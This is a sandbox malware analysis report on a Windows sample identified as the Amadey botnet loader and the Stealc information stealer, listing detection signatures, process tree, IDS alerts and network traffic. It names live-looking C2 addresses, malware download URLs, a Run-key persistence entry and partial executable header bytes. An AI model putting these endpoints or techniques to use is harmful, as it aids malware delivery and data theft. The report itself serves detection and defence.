Edit tour

Windows Analysis Report
yjzllYsjlU.exe

Overview

General Information

Sample name:	yjzllYsjlU.exe renamed because original name is a hash value
Original sample name:	05b4b94fe502b06454e6fe20b6965c76.exe
Analysis ID:	1518031
MD5:	05b4b94fe502b06454e6fe20b6965c76
SHA1:	bfa65de4bbea7bf16322882eb0cbb0909efcf0db
SHA256:	4a5c55ccde112d37cacac44e44b9dea894299902f10a9c6ca4505b145019fdd1
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Amadey, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Machine Learning detection for sample

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

yjzllYsjlU.exe (PID: 6716 cmdline: "C:\Users\user\Desktop\yjzllYsjlU.exe" MD5: 05B4B94FE502B06454E6FE20B6965C76)

WerFault.exe (PID: 2548 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 720 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6240 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 788 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 2848 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 852 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 1908 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 896 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7152 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 920 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 5752 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 852 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 2672 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 1044 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 5980 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 1120 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6508 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 1176 MD5: C31336C1EFC2CCB44B4326EA793040F2)

skotes.exe (PID: 6008 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 05B4B94FE502B06454E6FE20B6965C76)

WerFault.exe (PID: 3064 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6008 -s 468 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 2128 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 1400 MD5: C31336C1EFC2CCB44B4326EA793040F2)

skotes.exe (PID: 1488 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 05B4B94FE502B06454E6FE20B6965C76)

WerFault.exe (PID: 6784 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1488 -s 536 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 2672 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1488 -s 732 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 5980 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1488 -s 740 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 4900 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1488 -s 756 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000001C.00000002.4668968733.00000000006D0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xec8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2353337149.000000000052C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1328:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000015.00000002.2334468394.00000000006ED000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1170:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2334219685.0000000000400000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.2213576704.00000000021F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000003.2309432700.00000000021E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.4668844085.0000000000620000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.4668844085.0000000000620000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000001C.00000003.2486405419.0000000002160000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
28.2.skotes.exe.400000.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.skotes.exe.400000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.yjzllYsjlU.exe.400000.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.skotes.exe.400000.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.3.skotes.exe.21e0000.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.skotes.exe.2170e67.1.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.yjzllYsjlU.exe.2180e67.1.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.skotes.exe.620e67.1.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.3.skotes.exe.21e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.skotes.exe.400000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.yjzllYsjlU.exe.2180e67.1.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.skotes.exe.2170e67.1.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.3.yjzllYsjlU.exe.21f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.skotes.exe.620e67.1.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.3.skotes.exe.2160000.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.yjzllYsjlU.exe.400000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.3.yjzllYsjlU.exe.21f0000.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.3.skotes.exe.2160000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 13 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\1000026002\0f2a0c16ee.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 1488, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\0f2a0c16ee.exe

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T10:33:30.308410+0200	2044696	1	A Network Trojan was detected	192.168.2.6	64686	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T10:33:26.271870+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.6	64682	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T10:33:26.265770+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	64682	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T10:33:26.486604+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	64682	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T10:33:27.642684+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	64682	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T10:33:26.493256+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.6	64682	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T10:33:26.046162+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:53.000344+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	64700	185.215.113.37	80	TCP
2024-09-25T10:33:56.102303+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	64705	185.215.113.37	80	TCP
2024-09-25T10:34:00.223240+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	64708	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T10:33:26.537731+0200	2856121	1	A Network Trojan was detected	192.168.2.6	64683	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T10:33:11.607701+0200	2856147	1	A Network Trojan was detected	192.168.2.6	49750	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T10:33:25.592506+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	64680	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T10:33:21.971959+0200	2803305	3	Unknown Traffic	192.168.2.6	64681	185.215.113.103	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T10:33:28.070732+0200	2803304	3	Unknown Traffic	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:32.850576+0200	2803304	3	Unknown Traffic	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:34.611706+0200	2803304	3	Unknown Traffic	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:35.954713+0200	2803304	3	Unknown Traffic	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:37.425841+0200	2803304	3	Unknown Traffic	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:45.085160+0200	2803304	3	Unknown Traffic	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:46.175156+0200	2803304	3	Unknown Traffic	192.168.2.6	64682	185.215.113.37	80	TCP
2024-09-25T10:33:48.531183+0200	2803304	3	Unknown Traffic	192.168.2.6	64695	185.215.113.103	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: yjzllYsjlU.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.php	Avira URL Cloud: Label: phishing
Source: http://185.215.113.103/steam/random.exe;	Avira URL Cloud: Label: malware
Source: http://185.215.113.103/mine/random.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=	Avira URL Cloud: Label: phishing
Source: http://185.215.113.103/steam/random.exe	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000003.2213576704.00000000021F0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\1000026002\0f2a0c16ee.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1000023001\532d9160c6.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 39%

Multi AV Scanner detection for submitted file

Source: yjzllYsjlU.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: yjzllYsjlU.exe

Joe Sandbox ML: detected

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Unpacked PE file: 0.2.yjzllYsjlU.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.400000.0.unpack

Source: yjzllYsjlU.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0043DC0D FindFirstFileExW,	0_2_0043DC0D
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021BDE74 FindFirstFileExW,	0_2_021BDE74
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_021ADE74 FindFirstFileExW,	21_2_021ADE74
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0043DC0D FindFirstFileExW,	28_2_0043DC0D
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0065DE74 FindFirstFileExW,	28_2_0065DE74

Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_skotes.exe_b230dc6fc163fdde8365dc55937a5169439a2_360c380b_6dcdc8c6-df7e-46a7-9ca7-325d7431e179\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_4363f676aae74bac2ea5a449ac7ab892edc3967c_8cd1c366_09477d72-c3db-4fb9-94d5-24870ab915c0\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49750 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:64680
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.6:64683 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:64682 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:64682 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.6:64682
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:64682 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.6:64682
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:64682 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:64686 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:64700 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:64705 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:64708 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 25 Sep 2024 08:33:21 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Wed, 25 Sep 2024 08:32:53 GMTETag: "66000-622ed77d44b57"Accept-Ranges: bytesContent-Length: 417792Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4b b7 d9 41 0f d6 b7 12 0f d6 b7 12 0f d6 b7 12 60 a0 1c 12 17 d6 b7 12 60 a0 29 12 2f d6 b7 12 60 a0 1d 12 73 d6 b7 12 06 ae 24 12 06 d6 b7 12 0f d6 b6 12 9c d6 b7 12 60 a0 18 12 0e d6 b7 12 60 a0 2d 12 0e d6 b7 12 60 a0 2a 12 0e d6 b7 12 52 69 63 68 0f d6 b7 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 23 49 a2 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 fa 00 00 00 1a 07 02 00 00 00 00 53 38 00 00 00 10 00 00 00 10 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 07 02 00 04 00 00 2a 84 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 1c 00 04 00 64 00 00 00 00 d0 05 02 50 05 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 fb 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 30 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 22 f9 00 00 00 10 00 00 00 fa 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c8 fc 02 00 00 10 01 00 00 fe 02 00 00 fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 10 b2 01 02 00 10 04 00 00 5e 00 00 00 fc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 05 02 00 00 d0 05 02 00 06 02 00 00 5a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 25 Sep 2024 08:33:48 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Wed, 25 Sep 2024 08:32:47 GMTETag: "68e00-622ed777f557e"Accept-Ranges: bytesContent-Length: 429568Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1f d2 8a d1 5b b3 e4 82 5b b3 e4 82 5b b3 e4 82 34 c5 4f 82 4d b3 e4 82 34 c5 7a 82 7b b3 e4 82 34 c5 4e 82 28 b3 e4 82 52 cb 77 82 52 b3 e4 82 5b b3 e5 82 d4 b3 e4 82 34 c5 4b 82 5a b3 e4 82 34 c5 7e 82 5a b3 e4 82 34 c5 79 82 5a b3 e4 82 52 69 63 68 5b b3 e4 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e4 7f de 65 00 00 00 00 00 00 00 00 e0 00 03 01 